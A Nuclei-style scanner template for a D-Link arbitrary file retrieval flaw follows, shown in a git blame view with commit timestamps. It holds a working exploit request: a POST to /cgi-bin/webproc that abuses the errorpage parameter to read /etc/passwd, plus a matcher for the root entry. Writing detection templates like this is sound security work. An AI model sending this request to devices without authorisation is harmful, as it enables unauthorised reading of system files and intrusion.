2021-03-02 14:09:19 +00:00
|
|
|
id: dlink-file-read
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: D-Link - Arbitrary File Retrieval
|
2021-03-02 14:09:19 +00:00
|
|
|
author: dhiyaneshDK
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://suid.ch/research/DAP-2020_Preauth_RCE_Chain.html
|
2021-03-12 08:57:14 +00:00
|
|
|
tags: dlink,lfi
|
2021-03-02 14:09:19 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/cgi-bin/webproc"
|
2021-03-02 15:44:29 +00:00
|
|
|
body: 'errorpage=/etc/passwd&obj-action=auth&:action=login'
|
|
|
|
|
|
|
|
matchers-condition: and
|
2021-03-02 14:09:19 +00:00
|
|
|
matchers:
|
2021-03-02 15:44:29 +00:00
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-03-02 14:09:19 +00:00
|
|
|
part: body
|
2021-03-02 15:44:29 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|